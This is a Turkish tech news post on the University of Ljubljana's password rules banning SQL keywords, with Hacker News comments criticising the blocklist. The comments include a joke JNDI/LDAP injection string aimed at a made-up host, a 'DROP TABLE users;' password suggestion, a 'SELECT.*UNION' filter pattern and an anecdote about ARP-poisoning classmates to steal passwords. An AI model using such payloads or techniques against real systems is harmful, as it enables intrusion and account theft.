Parolada kullanılamayan kelimeler: select, insert, update, delete, drop

 (id.uni-lj.si)
2 puan yazan GN⁺ 2024-01-22 | 1 yorum | WhatsApp'ta paylaş
  • University of Ljubljana ID portalındaki parola sıfırlama işlemi, kullanıcı adı ve yeni parolanın onayıyla birlikte girilmesini isteyerek hesap kurtarma sürecindeki giriş hatalarını azaltmayı amaçlayan bir yapıya sahip
  • Kullanıcı adı e-posta adresine benzeyen bir biçimdedir ve örnek olarak js1234@student.uni-lj.si verilir
  • Yeni parola en az 10 karakter uzunluğunda olmalı ve ad, soyad gibi kolay tahmin edilebilen kişisel bilgileri içeremez
  • Büyük harf, küçük harf, rakam ve -_.+@ sembollerinden en az 3 kriteri karşılamalıdır
  • Parolada select, insert, update, delete, drop gibi kelimeler de kullanılamaz; yani yalnızca uzunluk değil, yasaklı kalıplar da kontrol edilir

Parola sıfırlama giriş akışı

  • Ekran Username, New password, New password confirmation alanlarından oluşur
  • Üç alanın da tamamı required olarak işaretlenmiştir
  • Kullanıcı adı e-posta adresine benzeyen bir biçimdedir
    • John Smith için kullanıcı adı örneği js1234@student.uni-lj.si
  • Yazım hatalarını azaltmak için yeni parola iki kez girilmelidir

Yeni parola kuralları

  • Yeni parola, kullanıcının dijital kimliğini koruyan bir araç olarak ele alınır
  • Kolay tahmin edilebilen parolalardan kaçınılmalıdır
    • Örnek: ad, soyad, partner adı, doğum tarihi
  • Parola en az 10 karakter uzunluğunda olmalıdır
  • Kullanıcının adını veya soyadını içeremez
  • Aşağıdaki kriterlerden en az 3'ünü karşılamalıdır
    • İngilizce alfabenin büyük harfleri
    • İngilizce alfabenin küçük harfleri
    • Rakamlar
    • Semboller: -_.+@

Kullanılamayan kelimeler

  • Parolada aşağıdaki kelimeler kullanılamaz
    • select
    • insert
    • update
    • delete
    • drop

İlgili okumalar

1 yorum

 
GN⁺ 2024-01-22
Hacker News yorumları

  • Ah, o dizgeyi ben koydum. Yönetim isteğiydi ve nedenini hâlâ bilmiyorum
    Bu site parolaları saklamıyor; daha çok harici bir hesap yönetim sisteminin güzelce sarılmış bir arayüzü gibi
    Bazı eski uygulamalardaki giriş alanı doğrulamasının tuhaf olduğu ve belirli dizgeler içeren parolalarla öğrencilerin giriş yapamadığına dair söylentiler duydum ama gerçek bir örnek bilmiyorum

    • Tam tersine, herkes parolasını DROP TABLE users; yapsın. Böylece tedarikçilerden hangisinin parolaları son derece güvensiz şekilde işlediği hemen ortaya çıkar
      Bu durumda kullanıcı girdisini ne temizliyor ne de parolayı hash’leyip gizliyor demektir; bu da toplumsal bir baş belası seviyesidir
    • Bir sitede “yeni parola oluştur” alanının maksimum uzunluğu, giriş formundaki giriş alanının maxlength özniteliğinden daha uzundu
      Parola yöneticisinin otomatik doldurmasıyla giriş yapılabiliyor da elle yazınca veya yapıştırınca neden olmuyor diye uzun süre anlayamamıştım. Meğer otomatik doldurma maxlength değerini yok saydığı içinmiş
    • Bunun sadece sayfada bulunan bir dizge mi, yoksa doğrulama mantığının gerçekten engellediği bir şey mi olduğunu merak ediyorum

  • "script" içeremeyeceği söyleniyordu; ergenliğimin başlarında büyük sosyal platform Nettby.no’yu hacklemiştim
    Yasaklı sözcüklerin tamamını kaldıran bir yöntemdi ve içinde script de vardı

    • Elbette betiği iki kez çalıştırmak gerekirdi
    • Ben de okulda Nettby’yi hacklemiştim. Güzel günlerdi
      Nettby’de HTTPS yoktu; ARP zehirleme ile ortadaki adam saldırısı yapıp herkesin parolasını çaldım, insanların hesaplarından rastgele saçmalıklar paylaşıp kargaşayı izledim. Gizlice bakmadım; görünüşe göre 14 yaşındaki hâlimde bile en azından bir miktar etik varmış
    • Kolay bir problemdi. Sadece sivri parantezleri kaldırsalar yeterdi
    • LOL. Ben de Coca-Cola sitesinde aynısını yapmıştım; şirketin MD’si bana ters bir mektup gönderip hesabımı silmişti

  • Çok eleştirileceğini düşünüyorum ama en azından bazı durumlarda bunun fena bir fikir olmadığını düşünüyorum
    Kurumların içinde kötü kod ve kötü sistem mimarisi üreten çok kişi var; bunları yakalayıp değiştirmelerini sağlayacak beceriye, yetkiye ve zamana sahip kişi ise az
    ABD’de yerel sağlık kuruluşları gibi berbat kodlanmış web siteleri üzerinden mecburen iş yapmak zorunda kalınan çok oluyor. Bu gibi durumlarda uygulamanın, çoğu zaman olduğu gibi korkunç olabileceğini varsayıp buna uygun azaltıcı önlemler önermek daha iyi olabilir
    Sözde yasaklanmış parola kalıplarına gerçekten izin verilip verilmediğini kullanıcı kolayca test edip düzenleyici kuruma şikâyet edebilir; ama dışarıdan doğru uygulanıp uygulanmadığını doğrulamak kolay değildir
    Zarif değil ve trajik, ama pratikte işlerin sık sık berbat yapıldığını ve denetimin de yetersiz olduğunu kabul edip en kötü sonuçları engelleyecek azaltıcı önlemleri düşünmek daha iyi olabilir

    • Katılmıyorum. Kâğıt üzerinde iyi görünse de çok fazla sahte güven hissi veriyor
      Bu tür güvenlik önlemleri çoğu zaman daha derin sorunları örter. Genellikle kullanıcı girdisini dikkatli işlemedikleri için böyle önlemler eklenir; birkaç anahtar kelimeyi engellemenin olası açığı “etkisizleştireceği” varsayımı ise çoğu zaman kolayca çürütülür. eBay ve JSFuck örneğine bakın
      Bu düşünce tarzından nefret ediyorum. Web uygulaması güvenlik duvarları (WAF), tembel penetrasyon testleri ve uyumluluk onay kutularının muazzam miktarda güvenlik tiyatrosu yarattığına; şirketlerin de saçma derecede berbat yazılmış yazılımları açık internete kısmen maruz bıraksalar bile “güvende” olduklarına ve “gereken özeni gösterdiklerine” inanmalarını sağladığına eminim
      Sonuç olarak, gerçek bir seçeneğim de pek olmadan verilerimi verdiğim şirketten, en hassas bilgilerimin yine sızdırıldığına dair posta yoluyla bir özür mektubu alıyorum. Elbette hepsi verilerime derinden değer verdikleri için, onlarca yıllık bir Java serileştirme kütüphanesi açığıyla çalınmasına izin vermişlerdir
      [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
    • Bir kurumda böyle bir parola politikası varsa, bu politikadan sorumlu kişinin kendi kurumunda SQL enjeksiyonu açıklarını önleyecek beceri ve yetkiye sahip yeterince insan olmadığını düşündüğü şeklinde yorumlanabilir
      Her kurum için kötü görünür, ama özellikle yetkin ve yetkili insanların kalesi olması gereken bir üniversiteyse daha da vahim
      Genel parola tavsiyesi açısından bakarsak, herkes bu anahtar kelimeleri parolasına koyup hataları hızla ortaya çıkarmalı. Gizli kalıp yalnızca saldırganlar tarafından kullanılmasına izin verilmemeli
    • Parolalar veritabanının yakınına bile gitmemeli
      Salt eklendikten sonra hash yüz binlerce kez uygulanmalı ve dosyada saklanan salt/hash değerleriyle karşılaştırılmalı
      Bunu bile yapamıyorsanız kimlik bilgilerini saklayan yazılım yazmaya ehil değilsiniz. Ciddiyim. Yazılım güvenliği, verinin toksik olduğunu ve ona saygı göstermezseniz şirketinizi batırabileceğini kabul etmekle başlar
    • Bu, yaygın bir derinlemesine savunma tuzağı gibi görünüyor. Çok daha verimli biçimde başka bir katmanda çözülebilecek bir probleme yanlış katmanda mühendislik emeği harcanması durumu
      Bir sistemin düz metin parolayı veritabanı tablosuna koyabileceğinden endişe etmeniz gerekiyorsa, o sistemde korkunç şekilde ters gidebilecek milyon tane başka şey de vardır. Örneğin DBA Stack Overflow’dan SQL kopyalayıp yapıştırırsa ne yapacaksınız?
      Kurumunuzda yetersiz mühendisler varsa, onlara kendi kimlik doğrulama sisteminizi uygulatmayın; yaygın kullanılan açık kaynak çerçeveleri veya ticari ürünler kullanmak daha iyi
    • Bunun hangi saldırı yolunu engellediğini bilmiyorum
      Kimlik doğrulama akışı parolaya salt ve hash uyguladıktan sonra özgün düz metin parolayı atmak dışında bir şey yapıyorsa, tüm sistemi hiç kullanmamak gerekir

  • Sorun değil. Onun yerine truncate kullanırsınız

  • Bu durumdaki en komik şey, yasaklı dizgelerin hepsini kontrol bile etmemeleri
    Kaynak: o okulun öğrencisiyim ve merak edip kendim denedim

    • Bir şey bozulursa, o sorumluluk reddi metnini bahane edip suçu sana atma ihtimalleri yüksek
    • Kurala uymamanın riski okuldan atılmaksa uyumu sağlamak kolay olur

  • Uygun stored procedure’lar ve başka tekniklerle SQL injection’ı en baştan imkânsız kılmak yerine, birkaç anahtar kelimeyi yasaklayıp hacker’ların escape hilesi gibi akıllarına gelmeyen bir yöntem bulmamasını umuyorlar.
    Bir süre muhtemelen çalışır, ama biri çalışmadığını kanıtlayana kadar.
    Kullanıcı girdisinin SQL ile karışmamasını sağlamak artık roket bilimi değil. 2005’te değiliz.
    Zaten bu işe yarıyorsa, parolaları hash’lemeden saklıyorlar demektir; bu 2005’te bile aptalcaydı. Kullanıcı adı ya da başka giriş alanları için aynı yöntem olsa biraz daha anlaşılır olurdu, ama parolalar asla veritabanına bu şekilde girmemeli.

    • Şirkette yapılandırılmış veriyi HTTP istek başlığı değeri olarak serileştirmenin bir yolunu tartışmıştık. Refleks olarak “satır sonu olmayan JSON’un ASCII alt kümesi” demiştim, ama çeşitli nedenlerle reddedildi. Noktalama işaretleri çok fazla olabilir, Çince için çok uzun olabilir gibi nedenlerdi sanırım.
      Biri pipe ile ayrılmış alanlar önerdi, o da reddedildi. Gerekçe “geçmişte bazı müşteri proxy’leri pipe karakteri içeren header’ları reddetmişti” gibi bir şeydi.
      Voodoo tarzı programlama her zaman durum tespiti eksikliğinden kaynaklanmaz. Geçmişte bir şeylerin yanlış gittiğini bildiğiniz, ama elinizde kanıt olmadığı ve buna karşı yapabileceğiniz bir şey bulunmadığı durumlardan da çıkar.
      Şahsen ben sadece dağıtıp bozulup bozulmadığını görmek, gerekirse sonradan müşteriyle çözmek isterdim. Doğal olarak ve iyi nedenlerle pek popüler olmayan bir yaklaşım olduğu için sonunda pipe karakteri kullanılmadı.
    • 2005’in başları civarında ilk veritabanı uygulamamı yapmıştım; kullanıcı verisini SQL ile karıştırmamak o kadar da zor değildi.
      CGI script’ini de muhtemelen taint mode ile çalıştırıyordum. Bunu hatırlayan var mı?
    • “Zaten bu işe yarıyorsa parolaları hash’lemeden saklıyorlar” ifadesi mutlaka doğru değil.
      RDBMS bir hash fonksiyonunu destekleyebilir; dolayısıyla UPDATE USERS SET PASSWORD = SHA2($PASSWORD) gibi saklıyor olabilirler. Bu durumda SQL injection’a açıktır, ama hash’lenmemiş parolayı saklıyor değildir.
      Hash’i uygulama katmanında yapmayı önermek için iyi nedenler var, ama doğru şekilde parametreleştirilmiş sorgu kullanılıyorsa veritabanında yapmak da o kadar korkunç değil.
    • Bu yazının ana sayfaya çıkmış olması bile, burada anlatılanların bu okur kitlesi için malumun ilamı olduğu anlamına geliyor.

  • Eh, bunu asla yakalayamazlar. Parolam ${jndi:ldap://hunter2.com/totallylegit}.

    • Hayır. Bu geçerli bir LDAP URL’si de değil, geçerli bir domain de değil.
      Domain’ler yalnızca ASCII karakterleri a-z ve rakamları 0-9 içerebilir; yıldız işaretine izin verilmez. İzin verilen tek sembol kısa çizgidir ve o da başta ya da sonda olamaz.

  • İyimser bakarsak bu gereksinim, aşırı katı bir web uygulaması güvenlik duvarından (WAF) kaynaklanmış olabilir.

    • Ya da mimarisi berbat bir “framework” veya araç setinden kaynaklanıyor olabilir.
      Diğer yorumlar bunu uygulama güvenliğinin kötü olduğuna dair “kanıt” olarak görüyor, ama bence bu kadar kesin bir sonuca varılamaz. Yine de stack’in bir kısmının berbat uygulanmış olduğu sonucuna varılabilir.
    • O zaman WAF’in hash’lenmemiş parolayı görebildiği anlamına gelir; bu hiç iyi değil.
    • WAF’in neyin kısaltması olduğunu merak ediyorum.

  • Eski bir sistemden kalma bir kalıntı gibi duruyor. Bazı üniversitelerin ve bankaların merkezi kimlik doğrulama için eski mainframe kullandığını duymuştum.
    Bazı durumlarda parolaların düz metin olarak saklandığını, 8 karaktere kırpıldığını ve yalnızca büyük harflere izin verildiğini duymuştum.
    Böyle sistemleri yükseltmemenin ana nedeni, en azından bana anlatılana göre, maliyet ve karmaşıklık. Çalışan bir sistemi $$$$ harcayıp yükseltmektense, $ harcayıp parolaları kısıtlayalım ve temel bir “güvenlik” ekleyelim mantığı.

  • Birkaç yıl önce WordPress API’siyle yazı yayımlayan bir uygulama geliştiriyordum. Müşterilerin her biri WordPress’i farklı hosting ortamlarına kurmuştu ve buralarda çeşitli “güvenlik” özellikleri vardı.
    Bloga yazı gönderince başarısız olduğu ve boş içerik yayımlandığına dair bir hata raporu aldık; meğer bu güvenlik eklentisi uzun blog yazılarını tararken .... select from gibi bir şey bulursa ilgili POST parametresini boş string’e çeviriyormuş.
    Benzer bir müşteri hata raporu da görmüştüm: sunucumuzdan gönderilen isteğin JSON alanındaki HTML metninin içine obfuscate edilmiş JavaScript enjekte edilmişti. Bunun bir “güvenlik” eklentisi mi yoksa kötü amaçlı yazılım mı olduğundan emin olamamıştık.

    • Eskiden belirli bir sayfa grubunda az sayıda isteğin başarısız olduğu bir durum vardı. İlk başta tüm URL’lerde select geçtiğini fark ettim; çoğu zaman itemselect gibi bir parametre adının parçasıydı. Bu yüzden stack’in bir yerinde WAF benzeri bir filtre olup olmadığını araştırdım.
      Sonunda ticari WAF kullanmadan önce proxy sunucusunda kalmış eski bir ayar buldum; bu ayar SELECT.*UNION arıyordu.
      URL’lere tekrar bakınca hepsinde company=credit+union gibi bir parametre de olduğunu gördüm. Yüzümü avuçlayıp o kodu kaldırdım; başka yerlerde yeterince koruma vardı.